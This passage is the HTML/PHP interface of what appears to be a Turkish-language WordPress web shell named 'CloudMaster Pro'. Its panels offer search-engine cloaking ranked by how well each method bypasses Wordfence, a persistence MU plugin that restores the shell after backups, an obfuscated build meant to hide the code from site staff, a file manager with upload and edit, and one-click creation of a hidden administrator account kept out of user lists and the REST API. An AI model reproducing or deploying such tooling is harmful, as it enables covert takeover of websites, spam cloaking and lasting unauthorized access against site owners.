.wp-dot{display:inline-flex;align-items:center;gap:5px;padding:3px 9px;border-radius:10px;font-size:.72em}.wp-on{background:#0d2a0d;color:var(--gr);border:1px solid #2ea043}.wp-off{background:var(--s2);color:var(--mu);border:1px solid var(--bd)}
.main{margin-left:224px;min-height:100vh;display:flex;flex-direction:column}
.topbar{height:50px;border-bottom:1px solid var(--bd);display:flex;align-items:center;justify-content:space-between;padding:0 22px;background:var(--s1);position:sticky;top:0;z-index:90}
.topbar h1{font-size:.95em;font-weight:600}.content{flex:1;padding:22px}
/* ── Cards & Grid ── */
.card{background:var(--s1);border:1px solid var(--bd);border-radius:8px;padding:18px;margin-bottom:14px}
.card-title{font-size:.75em;font-weight:700;color:var(--mu);text-transform:uppercase;letter-spacing:.6px;margin-bottom:12px}
.grid2{display:grid;grid-template-columns:1fr 1fr;gap:14px}
.grid3{display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:12px}
.stat{background:var(--s1);border:1px solid var(--bd);border-radius:8px;padding:14px}
.stat .lbl{font-size:.72em;color:var(--mu);text-transform:uppercase;letter-spacing:.5px}
.stat .val{font-size:1.5em;font-weight:700;margin-top:3px}
.stat .sub{font-size:.78em;color:var(--mu);margin-top:2px}
/* ── Buttons ── */
.btn{display:inline-flex;align-items:center;gap:5px;padding:6px 13px;border-radius:6px;border:1px solid var(--bd);background:var(--s2);color:var(--tx);cursor:pointer;font-size:.82em;transition:all .15s;font-family:inherit;white-space:nowrap}
.btn:hover{background:var(--bd)}.btn:disabled{opacity:.45;cursor:default}
.btn-p{background:#238636;border-color:#2ea043;color:#fff}.btn-p:hover:not(:disabled){background:#2ea043}
.btn-d{background:transparent;border-color:var(--rd);color:var(--rd)}.btn-d:hover:not(:disabled){background:#3d1a1a}
.btn-sm{padding:3px 9px;font-size:.78em}
/* ── Badges ── */
.badge{display:inline-flex;align-items:center;gap:3px;padding:2px 8px;border-radius:10px;font-size:.72em;font-weight:700}
.bg{background:#0d2a0d;color:var(--gr);border:1px solid #2ea043}
.br{background:#3d1a1a;color:var(--rd);border:1px solid #f85149}
.by{background:#3d2f00;color:var(--yl);border:1px solid #d29922}
.bb{background:#0d1a2d;color:var(--bl);border:1px solid #1f6feb}
.bm{background:var(--s2);color:var(--mu);border:1px solid var(--bd)}
/* ── Forms ── */
input,textarea,select{background:var(--s2);border:1px solid var(--bd);border-radius:6px;color:var(--tx);padding:7px 11px;font-size:.88em;outline:none;font-family:inherit;transition:border-color .2s;width:100%}
input:focus,textarea:focus,select:focus{border-color:var(--bl)}
textarea{resize:vertical;font-family:monospace;font-size:12px}
label{display:block;color:var(--mu);font-size:.75em;margin-bottom:4px;font-weight:600;text-transform:uppercase;letter-spacing:.3px}
.fr{margin-bottom:13px}
/* ── Method rows ── */
.mrow{display:flex;align-items:flex-start;gap:12px;padding:14px 0;border-bottom:1px solid var(--bd)}
.mrow:last-child{border-bottom:none}
.minfo{flex:1}.minfo strong{display:block;margin-bottom:2px;font-size:.9em}
.minfo small{color:var(--mu);font-size:.8em;line-height:1.4}
/* ── File manager ── */
.fm-top{display:flex;align-items:center;gap:8px;padding:10px 0 12px;border-bottom:1px solid var(--bd);margin-bottom:10px;flex-wrap:wrap}
.fp{flex:1;font-size:.78em;color:var(--mu);font-family:monospace;background:var(--s2);padding:5px 10px;border-radius:4px;border:1px solid var(--bd);min-width:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.ft{width:100%;border-collapse:collapse}.ft th{text-align:left;font-size:.72em;color:var(--mu);text-transform:uppercase;padding:7px 9px;border-bottom:1px solid var(--bd);font-weight:600}
.ft td{padding:7px 9px;border-bottom:1px solid #1c2128;vertical-align:middle}
.ft tr:hover td{background:var(--s2)}.fn{display:flex;align-items:center;gap:7px;cursor:pointer;color:var(--tx);max-width:400px}
.fn:hover{color:var(--bl)}.fic{width:20px;text-align:center;font-size:1.05em}
.fsz,.fdt{font-size:.78em;color:var(--mu);white-space:nowrap}.fact{display:flex;gap:4px;white-space:nowrap}
/* ── Test boxes ── */
.tbox{border-radius:7px;padding:14px;margin-bottom:10px}
.tok{background:#0d2a0d;border:1px solid var(--gr)}.tfail{background:#3d1a1a;border:1px solid var(--rd)}.tunk{background:#3d2f00;border:1px solid var(--yl)}
/* ── Issues ── */
.iss{border-radius:6px;padding:13px;margin-bottom:9px;border-left:4px solid}
.iss-w{background:#2d2600;border-color:var(--yl)}.iss-i{background:#0d1a2d;border-color:var(--bl)}.iss-e{background:#3d1a1a;border-color:var(--rd)}
.iss-title{font-weight:600;margin-bottom:5px}.iss-fix{background:#0d1117;border-radius:4px;padding:9px;margin-top:7px;font-size:.83em;font-family:monospace;color:var(--mu);white-space:pre-wrap}
/* ── Toast ── */
#toast{position:fixed;bottom:22px;right:22px;z-index:9999;display:flex;flex-direction:column;gap:7px}
.ti{padding:11px 16px;border-radius:8px;font-size:.88em;min-width:260px;max-width:380px;animation:si .25s ease;border:1px solid}
.ts{background:#0d2a0d;border-color:var(--gr);color:var(--gr)}.te{background:#3d1a1a;border-color:var(--rd);color:var(--rd)}.tinfo{background:#0d1a2d;border-color:var(--bl);color:var(--bl)}
@keyframes si{from{transform:translateX(100%);opacity:0}to{transform:translateX(0);opacity:1}}
/* ── Modal ── */
.modal{display:none;position:fixed;inset:0;background:rgba(0,0,0,.75);z-index:1000;align-items:center;justify-content:center}
.modal.open{display:flex}.mbox{background:var(--s1);border:1px solid var(--bd);border-radius:10px;width:90%;max-width:960px;max-height:90vh;display:flex;flex-direction:column}
.mh{display:flex;align-items:center;justify-content:space-between;padding:14px 18px;border-bottom:1px solid var(--bd);font-weight:600}
.mb{flex:1;overflow:auto;padding:16px 18px}.mf{padding:11px 18px;border-top:1px solid var(--bd);display:flex;gap:7px;justify-content:flex-end}
/* ── Scrollbar ── */
::-webkit-scrollbar{width:5px;height:5px}::-webkit-scrollbar-track{background:var(--s1)}::-webkit-scrollbar-thumb{background:var(--bd);border-radius:3px}
/* ── Info table ── */
.info-table{width:100%;border-collapse:collapse;font-size:.85em}
.info-table td{padding:6px 0;border-bottom:1px solid var(--bd)}.info-table td:first-child{color:var(--mu);width:160px}
.info-table td:last-child{font-family:monospace}
</style>
</head>
<body>

<!-- ── SIDEBAR ── -->
<aside class="sidebar">
  <div class="sl-logo">
    <h2>⚡ CloudMaster Pro</h2>
    <p><?= $host ?></p>
  </div>
  <nav class="sl-nav">
    <?php
    $nav_items = [
      'dashboard' => ['🏠','Dashboard'],
      'cloak'     => ['🎭','Cloak Yönetimi'],
      'bottest'   => ['🧪','Bot Test'],
      'diagnose'  => ['🔍','Teşhis & Cache'],
      'files'     => ['📁','Dosya Yöneticisi'],
      'litespeed' => ['⚡','LiteSpeed'],
      'admin'     => ['👤','Gizli Admin'],
    ];
    foreach ($nav_items as $t => [$ic,$lbl]):
    ?><button class="ni <?= $tab===$t?'active':'' ?>" onclick="switchTab('<?= $t ?>')">
        <span class="ic"><?= $ic ?></span><?= $lbl ?>
      </button><?php endforeach; ?>
  </nav>
  <div class="sl-foot">
    <div class="wp-dot wp-off" id="wp-status-dot">○ Standalone</div><br><br>
    <a href="?logout=1" style="color:var(--mu)">Çıkış Yap</a> &nbsp;·&nbsp; v<?= CM_VERSION ?>
  </div>
</aside>

<!-- ── MAIN ── -->
<main class="main">
  <div class="topbar">
    <h1 id="tab-title">Dashboard</h1>
    <div style="display:flex;align-items:center;gap:10px">
      <span style="font-size:.78em;color:var(--mu)"><?= htmlspecialchars($site_url,ENT_QUOTES) ?></span>
    </div>
  </div>
  <div class="content">
    <div id="toast"></div>

    <!-- ═══════════ DASHBOARD ═══════════ -->
    <div id="tab-dashboard" class="tab-pane">
      <div class="grid3" id="stats-grid" style="margin-bottom:16px">
        <div class="stat"><div class="lbl">PHP</div><div class="val" style="font-size:1.2em"><?= phpversion() ?></div></div>
        <div class="stat"><div class="lbl">Sunucu</div><div class="val" style="font-size:.95em;margin-top:6px"><?= htmlspecialchars(explode('/',$_SERVER['SERVER_SOFTWARE']??'')[0],ENT_QUOTES) ?></div></div>
        <div class="stat"><div class="lbl">WordPress</div><div class="val" style="font-size:1.2em" id="d-wp">—</div><div class="sub" id="d-wpname">Yükleniyor...</div></div>
        <div class="stat"><div class="lbl">Disk</div><div class="val" style="font-size:1.1em" id="d-disk">...</div><div class="sub" id="d-disksub"></div></div>
        <div class="stat"><div class="lbl">Aktif Eklentiler</div><div class="val" id="d-plugins">—</div></div>
        <div class="stat"><div class="lbl">Kullanıcılar</div><div class="val" id="d-users">—</div></div>
      </div>
      <div class="grid2">
        <div class="card">
          <div class="card-title">Hızlı İşlemler</div>
          <div style="display:flex;flex-direction:column;gap:8px">
            <button class="btn btn-p" onclick="switchTab('cloak')">🎭 Cloak Yönet</button>
            <button class="btn" onclick="switchTab('bottest')">🧪 Bot Testi Yap</button>
            <button class="btn" onclick="switchTab('diagnose');setTimeout(runDiagnose,100)">🔍 Teşhis Çalıştır</button>
            <button class="btn" onclick="switchTab('files')">📁 Dosya Yöneticisi</button>
            <button class="btn" onclick="switchTab('admin')">👤 Gizli Admin Oluştur</button>
          </div>
        </div>
        <div class="card" style="border-color:var(--yl)">
          <div class="card-title" style="color:var(--yl)">🔒 Backup Koruma</div>
          <p style="color:var(--mu);font-size:.83em;margin-bottom:12px">
            Çalışan backup alıp restore edince wp-security.php siliniyor mu? Bu özelliği aktif et —
            WordPress her yüklendiğinde MU Plugin içindeki kaynak koddan wp-security.php'yi otomatik geri yazar.
          </p>
          <div style="display:flex;align-items:center;gap:10px;flex-wrap:wrap">
            <span id="persist-badge" class="badge bm">Kontrol ediliyor...</span>
            <button class="btn btn-p btn-sm" id="persist-install-btn" onclick="persistInstall()">🛡️ Korumayı Aktif Et</button>
            <button class="btn btn-sm" id="persist-update-btn" onclick="persistInstall()" style="display:none">🔄 Güncelle</button>
            <button class="btn btn-d btn-sm" id="persist-remove-btn" onclick="persistRemove()" style="display:none">✕ Kaldır</button>
          </div>
          <div id="persist-res" style="margin-top:10px;font-size:.82em;white-space:pre-wrap;color:var(--mu)"></div>
          <hr style="border-color:var(--bd);margin:14px 0">
          <div style="font-size:.82em;color:var(--mu);margin-bottom:10px">
            <strong style="color:var(--tx)">🔐 Şifreli & Küçültülmüş Sürüm</strong> — Kodu çalışanlardan gizler, gzip ile %60+ küçültür. Orijinal dosyayı değiştirmez, <code>wp-security-enc.php</code> adıyla yeni dosya oluşturur.
          </div>
          <button class="btn btn-sm" onclick="buildEncoded()">⚡ Şifreli Sürüm Oluştur</button>
          <div id="build-enc-res" style="margin-top:10px;font-size:.82em;white-space:pre-wrap;color:var(--mu)"></div>
        </div>
        <div class="card">
          <div class="card-title">Sunucu Bilgisi</div>
          <table class="info-table">
            <?php foreach(['PHP Sürümü'=>phpversion(),'İşletim Sistemi'=>PHP_OS,'Upload Max'=>ini_get('upload_max_filesize'),'POST Max'=>ini_get('post_max_size'),'Memory Limit'=>ini_get('memory_limit'),'Root Dizin'=>$root,'Doc Root'=>($_SERVER['DOCUMENT_ROOT']??'?')] as $k=>$v): ?>
            <tr><td><?= htmlspecialchars($k,ENT_QUOTES) ?></td><td><?= htmlspecialchars($v,ENT_QUOTES) ?></td></tr>
            <?php endforeach; ?>
          </table>
        </div>
      </div>
    </div>

    <!-- ═══════════ CLOAK ═══════════ -->
    <div id="tab-cloak" class="tab-pane" style="display:none">

      <!-- Cloak dosyasi ayari -->
      <div class="card" style="margin-bottom:14px;border-color:var(--bl)">
        <div class="card-title" style="color:var(--bl)">⚙️ Cloak Dosyası Ayarı</div>
        <p style="color:var(--mu);font-size:.83em;margin-bottom:10px">
          Botlara gösterilecek dosyanın adını veya yolunu belirle.
          Alt dizin desteklenir: <code>pages/bot.php</code>. Değiştirince aktif yöntemleri
          <strong>Cloak Kodu Yenile</strong> butonu ile güncelle.
        </p>
        <div style="display:flex;gap:8px;align-items:flex-end;flex-wrap:wrap">
          <div style="flex:1;min-width:200px">
            <label>Dosya Adı / Yolu</label>
            <input type="text" id="cloak-file-input" placeholder="amp.php">
          </div>
          <button class="btn btn-p" onclick="setCloakFile()">💾 Kaydet</button>
        </div>
        <div id="cloak-file-res" style="margin-top:8px;font-size:.82em"></div>
      </div>

      <div class="card">
        <div class="card-title">Cloak İçeriği — <span id="amp-name-label">amp.php</span></div>
        <p style="color:var(--mu);font-size:.85em;margin-bottom:12px">Botlar bu dosyayı görür. WordPress root'una ayarlanan isimde kaydedilir. İçeriği Dosya Yöneticisi ile düzenleyebilirsin.</p>
        <div style="display:flex;gap:8px;align-items:center;flex-wrap:wrap">
          <span id="amp-badge" class="badge bm">Kontrol ediliyor...</span>
          <button class="btn btn-p btn-sm" onclick="createAmp()">⚡ Cloak Dosyası Oluştur / Güncelle</button>
          <button class="btn btn-sm" onclick="openAmpInFM()">✏️ İçeriği Düzenle</button>
          <a id="amp-link" href="#" target="_blank" class="btn btn-sm">🌐 Dosyayı Aç</a>
        </div>
      </div>
      <div class="card">
        <div class="card-title">Bypass Yöntemleri — Güçlüden Zayıfa</div>
        <p style="color:var(--mu);font-size:.83em;margin-bottom:14px">Her yöntem bağımsız çalışır. Birini aktif et → Test Et. Çalışmıyorsa kaldır, sıradakini dene.</p>
        <div id="methods-wrap">
          <?php
          $methods=[
            'user_ini'       =>['🥇','.user.ini (auto_prepend_file)','PHP\'den önce çalışır. Wordfence WAF dahil her şeyi bypass eder. <strong>En güçlü yöntem.</strong>'],
            'mu_plugin'      =>['🥈','MU Plugin','wp-content/mu-plugins/ klasörüne yazar. Tüm eklentilerden önce çalışır.'],
            'wp_blog_header' =>['🥉','wp-blog-header.php','WordPress yüklenmeden önce çalışır. LiteSpeed cache\'i bypass edebilir.'],
            'htaccess'       =>['4️⃣','.htaccess RewriteRule','Apache/LiteSpeed seviyesinde yönlendirir. PHP\'ye girmeden çalışır.'],
          ];
          foreach ($methods as $k=>[$medal,$name,$desc]):?>
          <div class="mrow" id="mrow-<?= $k ?>">
            <span style="font-size:1.4em;line-height:1"><?= $medal ?></span>
            <div class="minfo">
              <strong><?= htmlspecialchars($name,ENT_QUOTES) ?></strong>
              <small><?= $desc ?></small>
            </div>
            <span id="mst-<?= $k ?>" class="badge bm">...</span>
            <div style="display:flex;gap:6px;flex-shrink:0">
              <button id="mapply-<?= $k ?>" class="btn btn-p btn-sm" onclick="cloakApply('<?= $k ?>')">Aktif Et</button>
              <button id="mremov-<?= $k ?>" class="btn btn-d btn-sm" onclick="cloakRemove('<?= $k ?>')" style="display:none">Kaldır</button>
              <button class="btn btn-sm" onclick="switchTab('bottest');setTimeout(runBotTest,100)">🧪</button>
            </div>
          </div>
          <?php endforeach; ?>
        </div>
      </div>

      <div class="card" style="border-left:3px solid var(--ye)">
        <div class="card-title">⚠️ Normal Kullanıcılar Cloak Görüyorsa — Acil Düzeltme</div>
        <p style="color:var(--mu);font-size:.84em;margin-bottom:10px">
          Bu durum genellikle <strong>LiteSpeed / Varnish cache'in bot yanıtını önbelleğe alıp normal kullanıcılara servis etmesinden</strong> kaynaklanır.
          Aşağıdaki buton tüm aktif cloak yöntemlerini <strong>geliştirilmiş cache-bypass başlıkları</strong> ile yeniden yazar
          ve LiteSpeed cache'ini temizler.
        </p>
        <div style="background:var(--bg2);border-radius:7px;padding:10px 12px;margin-bottom:12px;font-size:.81em;color:var(--mu)">
          <strong style="color:var(--ye)">Eklenen düzeltmeler:</strong><br>
          ✅ <code>X-LiteSpeed-Cache-Control: no-cache, no-store</code> — LiteSpeed bu yanıtı önbelleğe almaz<br>
          ✅ <code>Vary: User-Agent</code> — Cache sistemleri bot/insan ayrımı yapar<br>
          ✅ <strong>WordPress login cookie kontrolü</strong> — Giriş yapmış kullanıcılar asla cloak görmez<br>
          ✅ <code>googlebot</code> keliği yerine daha spesifik UA eşleşmesi (yanlış pozitif önlenir)<br>
          ✅ <code>.htaccess</code> — <code>wordpress_logged_in</code> cookie varsa bypass kuralı eklendi
        </div>
        <div style="display:flex;gap:8px;flex-wrap:wrap">
          <button class="btn" style="background:linear-gradient(135deg,#e67e22,#d35400);color:#fff;font-weight:600" onclick="cloakRefresh()">
            🔄 Cloak Kodu Yenile + Cache Temizle
          </button>
          <button class="btn btn-sm" onclick="switchTab('bottest');setTimeout(runBotTest,100)">🧪 Sonra Test Et</button>
        </div>
        <div id="refresh-result" style="margin-top:10px;font-size:.82em;display:none"></div>
      </div>
    </div>

    <!-- ═══════════ BOT TEST ═══════════ -->
    <div id="tab-bottest" class="tab-pane" style="display:none">
      <div class="card">
        <div class="card-title">Gerçek Bot Testi</div>
        <p style="color:var(--mu);font-size:.85em;margin-bottom:12px">Sunucu kendi sitesine farklı bot User-Agent'ları ile HTTP isteği atar. Simülasyon değil — gerçek yanıt.</p>
        <div style="display:flex;gap:8px;margin-bottom:14px;align-items:flex-end;flex-wrap:wrap">
          <div style="flex:1;min-width:280px">
            <label>Test URL</label>
            <input type="text" id="test-url" value="<?= htmlspecialchars($site_url.'/',ENT_QUOTES) ?>">
          </div>
          <button class="btn btn-p" onclick="runBotTest()">▶ Testi Başlat</button>
        </div>
        <div id="bot-results"></div>
      </div>
      <div class="card">
        <div class="card-title">Google Araçları</div>
        <div style="display:flex;gap:8px;flex-wrap:wrap">
          <a href="https://search.google.com/test/rich-results?url=<?= urlencode($site_url.'/') ?>" target="_blank" class="btn">🔍 Rich Results — Ana Sayfa</a>
          <a id="rich-results-amp-link" href="https://search.google.com/test/rich-results?url=<?= urlencode($site_url.'/amp.php') ?>" target="_blank" class="btn">🔍 Rich Results — Cloak Dosyası</a>
          <a href="https://search.google.com/search-console" target="_blank" class="btn">📊 Search Console</a>
        </div>
      </div>
    </div>

    <!-- ═══════════ TEŞHİS ═══════════ -->
    <div id="tab-diagnose" class="tab-pane" style="display:none">
      <div style="display:flex;gap:8px;margin-bottom:14px">
        <button class="btn btn-p" onclick="runDiagnose()">🔍 Teşhis Başlat</button>
      </div>
      <div id="diag-out"><p style="color:var(--mu)">Teşhis başlatmak için butona tıklayın.</p></div>
    </div>

    <!-- ═══════════ DOSYA YÖNETİCİSİ ═══════════ -->
    <div id="tab-files" class="tab-pane" style="display:none">
      <div class="card">
        <div class="fm-top">
          <span class="fp" id="fm-path"><?= htmlspecialchars($root,ENT_QUOTES) ?></span>
          <button class="btn btn-sm" onclick="fmUp()">⬆</button>
          <button class="btn btn-sm" onclick="fmRefresh()">🔄</button>
          <button class="btn btn-p btn-sm" onclick="showUpload()">📤 Yükle</button>
          <button class="btn btn-sm" onclick="showNewFile()">📄 Yeni Dosya</button>
          <button class="btn btn-sm" onclick="showMkdir()">📁 Yeni Klasör</button>
        </div>
        <div id="fm-body"><p style="color:var(--mu)">Yükleniyor...</p></div>
      </div>
    </div>

    <!-- ═══════════ LITESPEED ═══════════ -->
    <div id="tab-litespeed" class="tab-pane" style="display:none">

      <!-- Evrensel Cache Temizleyici -->
      <div class="card" style="border-color:var(--acc);margin-bottom:14px">
        <div class="card-title" style="color:var(--acc)">🌐 Evrensel Cache Temizleyici</div>
        <p style="color:var(--mu);font-size:.83em;margin-bottom:12px">
          LiteSpeed, W3TC, WP Rocket, WP Super Cache, PHP OPCache, Redis, Memcached, Nginx FastCGI ve WP Transient — aktif olan <strong>hepsini</strong> tek tikla temizler.
        </p>
        <button class="btn btn-p" onclick="cacheUniversal()" id="cache-univ-btn">🧹 Tum Cache Sistemlerini Temizle</button>
        <div id="cache-univ-res" style="margin-top:12px;font-size:.82em;white-space:pre-wrap;font-family:monospace;line-height:1.7"></div>
        <div style="margin-top:10px;padding:8px 10px;background:var(--bg2);border-radius:6px;font-size:.78em;color:var(--mu);display:flex;align-items:center;gap:8px">
          <span style="color:var(--gr);font-size:1.1em">●</span>
          <span>Otomatik İzleme: Cloak dosyası 2 dakikada bir kontrol edilir. Değişiklik tespit edilirse cache otomatik temizlenir.</span>
          <span id="cloak-monitor-status" style="margin-left:auto;white-space:nowrap">Başlatılıyor...</span>
        </div>
      </div>

      <!-- Bireysel Cache Modulleri -->
      <div class="card" style="margin-bottom:14px">
        <div class="card-title">Bireysel Cache Temizleme</div>
        <div style="display:grid;grid-template-columns:repeat(auto-fill,minmax(200px,1fr));gap:8px;margin-bottom:12px">
          <button class="btn btn-sm" onclick="cacheModule('cache_w3tc','W3 Total Cache')">🗑 W3 Total Cache</button>
          <button class="btn btn-sm" onclick="cacheModule('cache_wprocket','WP Rocket')">🗑 WP Rocket</button>
          <button class="btn btn-sm" onclick="cacheModule('cache_wpsc','WP Super Cache')">🗑 WP Super Cache</button>
          <button class="btn btn-sm" onclick="cacheModule('cache_opcache','PHP OPCache')">🗑 PHP OPCache</button>
          <button class="btn btn-sm" onclick="cacheModule('cache_redis','Redis / Memcached')">🗑 Redis / Memcached</button>
          <button class="btn btn-sm" onclick="cacheModule('cache_transients','WP Transients')">🗑 WP Transients</button>
          <button class="btn btn-sm" onclick="cacheModule('cache_nginx','Nginx Cache')">🗑 Nginx Cache</button>
          <button class="btn btn-sm" onclick="cacheModule('ls_purge_cache','LiteSpeed Cache')">🗑 LiteSpeed</button>
        </div>
        <div id="cache-single-res" style="font-size:.82em;white-space:pre-wrap;font-family:monospace;color:var(--mu)"></div>
      </div>

      <!-- Oto Duzelt Butonu -->
      <div class="card" style="border-color:var(--yl);margin-bottom:14px">
        <div class="card-title" style="color:var(--yl)">⚡ LiteSpeed — Tek Tikla Tam Duzelt</div>
        <p style="color:var(--mu);font-size:.83em;margin-bottom:12px">
          Tum LiteSpeed bypass islemlerini otomatik uygular: .htaccess kurali, PHP header, .ls-conf, cache temizleme, plugin ayarlari (WP yuklu ise).
        </p>
        <button class="btn btn-p" onclick="lsAutoFix()" id="ls-auto-btn">⚡ LiteSpeed Duzeltmelerini Uygula</button>
        <div id="ls-auto-res" style="margin-top:12px;font-size:.82em;white-space:pre-wrap;font-family:monospace"></div>
      </div>

      <!-- Teshis -->
      <div class="card">
        <div class="card-title">Teshis</div>
        <div style="display:flex;gap:8px;margin-bottom:14px">
          <button class="btn btn-p btn-sm" onclick="lsStatus()">🔍 Teshis Calistir</button>
        </div>
        <div id="ls-status-out"><p style="color:var(--mu);font-size:.85em">Teshis icin butona tiklayin.</p></div>
      </div>

      <!-- Adim adim islemler -->
      <div class="grid2" style="margin-top:14px">

        <div class="card">
          <div class="card-title">.htaccess Bot Bypass Kurali</div>
          <p style="color:var(--mu);font-size:.82em;margin-bottom:10px">
            LiteSpeed'e "botlar icin cache kullanma" diyen Apache/LS kurali ekler. En temel ve en etkili adim.
          </p>
          <pre style="font-size:10px;margin-bottom:10px">&lt;IfModule LiteSpeed&gt;
RewriteCond %{HTTP_USER_AGENT} (googlebot|bot) [NC]
RewriteRule .* - [E=Cache-Control:no-store,L]
&lt;/IfModule&gt;</pre>
          <button class="btn btn-p btn-sm" onclick="lsFixHtaccess()">Ekle / Guncelle</button>
          <div id="ls-ht-res" style="margin-top:8px;font-size:.82em;white-space:pre-wrap"></div>
        </div>

        <div class="card">
          <div class="card-title">PHP Header Duzeltme</div>
          <p style="color:var(--mu);font-size:.82em;margin-bottom:10px">
            Aktif cloak dosyalarina (cm-prepend.php, MU plugin, wp-blog-header.php) X-LiteSpeed-Cache-Control: no-cache header'i ekler.
          </p>
          <pre style="font-size:10px;margin-bottom:10px">header('X-LiteSpeed-Cache-Control:
  no-cache, no-store, max-age=0');</pre>
          <button class="btn btn-p btn-sm" onclick="lsFixHeaders()">Header Ekle</button>
          <div id="ls-hdr-res" style="margin-top:8px;font-size:.82em;white-space:pre-wrap"></div>
        </div>

        <div class="card">
          <div class="card-title">.ls-conf (Dizin Seviyesi)</div>
          <p style="color:var(--mu);font-size:.82em;margin-bottom:10px">
            WordPress root'una .ls-conf dosyasi olusturur. LiteSpeed bu dizin icin cache'i devre disi birakir.
          </p>
          <pre style="font-size:10px;margin-bottom:10px">&lt;IfModule LiteSpeed&gt;
CacheByDefault 0
&lt;/IfModule&gt;</pre>
          <button class="btn btn-p btn-sm" onclick="lsCreateConf()">Olustur</button>
          <div id="ls-conf-res" style="margin-top:8px;font-size:.82em;white-space:pre-wrap"></div>
        </div>

        <div class="card">
          <div class="card-title">Cache Temizle (Hard Purge)</div>
          <p style="color:var(--mu);font-size:.82em;margin-bottom:10px">
            Sunucudaki LiteSpeed cache dosyalarini dogrudan siler. Plugin uzerinden de purge tetikler. Hemen etkili olur.
          </p>
          <div id="ls-cache-dirs" style="margin-bottom:10px;font-size:.8em;color:var(--mu)">...</div>
          <button class="btn btn-d btn-sm" onclick="lsPurge()">🗑 Cache Temizle</button>
          <div id="ls-purge-res" style="margin-top:8px;font-size:.82em;white-space:pre-wrap"></div>
        </div>

        <div class="card">
          <div class="card-title">Plugin Ayarlari (WP DB)</div>
          <p style="color:var(--mu);font-size:.82em;margin-bottom:10px">
            LiteSpeed Cache plugin'in DB ayarlarini yazar: crawler kapat, bot UA exclusion ekle, /amp.php'yi cache disina al.
          </p>
          <div id="ls-plugin-status" style="margin-bottom:10px;font-size:.8em;color:var(--mu)">...</div>
          <button class="btn btn-p btn-sm" onclick="lsPluginConfig()">Ayarlari Yaz</button>
          <div id="ls-plugin-res" style="margin-top:8px;font-size:.82em;white-space:pre-wrap"></div>
        </div>

      </div>
    </div>

    <!-- ═══════════ GİZLİ ADMİN ═══════════ -->
    <div id="tab-admin" class="tab-pane" style="display:none">
      <?php if(!$wp_loaded):?>
      <div class="card" style="border-color:var(--yl);margin-bottom:14px">
        <span class="badge by">⚠️ WordPress bulunamadi — wp-security.php'yi WP koku dizinine koy</span>
      </div>
      <?php endif;?>

      <!-- Tek Tikla Admin Olustur -->
      <div class="card" style="max-width:560px;margin-bottom:16px">
        <div class="card-title">Gizli Admin Olustur</div>
        <table class="info-table" style="margin-bottom:14px">
          <tr><td>Kullanici Adi</td><td><code><?= CM_ADMIN_USER ?></code> (sabit)</td></tr>
          <tr><td>E-posta</td><td><code><?= CM_ADMIN_EMAIL ?></code> (sabit)</td></tr>
          <tr><td>Sifreyi gizle dosyasi</td><td><code>wp-content/mu-plugins/<?= CM_HIDE_MU_FILE ?></code></td></tr>
        </table>
        <div class="fr">
          <label>Sifre (bos birak = otomatik olustur)</label>
          <div style="display:flex;gap:8px">
            <input type="text" id="a-pass" placeholder="Bos birakabilirsin — otomatik uretilir" style="flex:1">
            <button class="btn btn-sm" onclick="genPass()">🎲 Uret</button>
          </div>
        </div>
        <button class="btn btn-p" onclick="doCreateAdmin()" style="width:100%">👤 Admin Olustur + Gizle</button>
        <div id="admin-res" style="margin-top:14px;font-size:.85em"></div>
        <!-- Kopyalanabilir kimlik kutusu -->
        <div id="cred-box" style="display:none;margin-top:14px">
          <label>Giris Bilgileri — Kopyala</label>
          <div style="position:relative">
            <input type="text" id="cred-text" readonly style="font-family:monospace;background:#0d1117;color:var(--gr);font-size:.88em;cursor:pointer" onclick="copyCred()">
            <button class="btn btn-sm btn-p" onclick="copyCred()" style="position:absolute;right:4px;top:50%;transform:translateY(-50%)">📋 Kopyala</button>
          </div>
          <p style="font-size:.75em;color:var(--mu);margin-top:5px">Format: login_url:kullanici_adi:sifre</p>
        </div>
      </div>

      <!-- Bilgi karti -->
      <div class="card" style="max-width:560px;background:var(--s2)">
        <div class="card-title">Nasil Calisir</div>
        <div style="font-size:.82em;color:var(--mu);line-height:1.8">
          1. Butona tikladiginda <code><?= CM_ADMIN_USER ?></code> kullanicisi WP'ye eklenir<br>
          2. Hemen ardindan <code><?= CM_HIDE_MU_FILE ?></code> MU Plugin olusturulur<br>
          3. Bu dosya calisanlara WP sistem dosyasi gibi gorunur, icinde ne oldugu belli olmaz<br>
          4. Kullanici WP admin panelinde <strong>Users listesinde gorunmez</strong>, sayacta gorunmez, REST API'den 404 doner<br>
          5. Sadece <em>o kullanicinin kendi oturumunda</em> kendi hesabini gorebilir
        </div>
      </div>
    </div>

  </div><!-- .content -->
</main>

<!-- ── Modals ── -->
<div class="modal" id="ed-modal">
  <div class="mbox"><div class="mh"><span id="ed-title">Dosya Düzenle</span><button class="btn btn-sm" onclick="closeM('ed-modal')">✕</button></div>
  <div class="mb" style="padding:0"><textarea id="ed-content" style="width:100%;height:520px;border:none;border-radius:0;background:#1e1e1e;color:#d4d4d4;padding:14px;resize:none;outline:none"></textarea></div>
  <div class="mf"><input type="hidden" id="ed-path"><button class="btn btn-p" onclick="saveFile()">💾 Kaydet</button><button class="btn" onclick="closeM('ed-modal')">İptal</button></div></div>
</div>

<div class="modal" id="up-modal">
  <div class="mbox" style="max-width:460px"><div class="mh"><span>📤 Dosya Yükle</span><button class="btn btn-sm" onclick="closeM('up-modal')">✕</button></div>
  <div class="mb"><p style="color:var(--mu);font-size:.83em;margin-bottom:12px">Hedef: <code id="up-dir-show"></code></p><input type="file" id="up-file" style="margin-bottom:10px"><div id="up-res" style="font-size:.85em"></div></div>
  <div class="mf"><button class="btn btn-p" onclick="doUpload()">Yükle</button><button class="btn" onclick="closeM('up-modal')">İptal</button></div></div>
</div>

<div class="modal" id="nf-modal">
  <div class="mbox" style="max-width:500px"><div class="mh"><span>📄 Yeni Dosya</span><button class="btn btn-sm" onclick="closeM('nf-modal')">✕</button></div>
  <div class="mb"><div class="fr"><label>Dosya Adı</label><input id="nf-name" placeholder="dosya.php"></div><div class="fr"><label>İçerik (opsiyonel)</label><textarea id="nf-content" rows="7" style="background:#1e1e1e;color:#d4d4d4"></textarea></div></div>
  <div class="mf"><button class="btn btn-p" onclick="doNewFile()">Oluştur</button><button class="btn" onclick="closeM('nf-modal')">İptal</button></div></div>
</div>

<div class="modal" id="md-modal">
  <div class="mbox" style="max-width:400px"><div class="mh"><span>📁 Yeni Klasör</span><button class="btn btn-sm" onclick="closeM('md-modal')">✕</button></div>
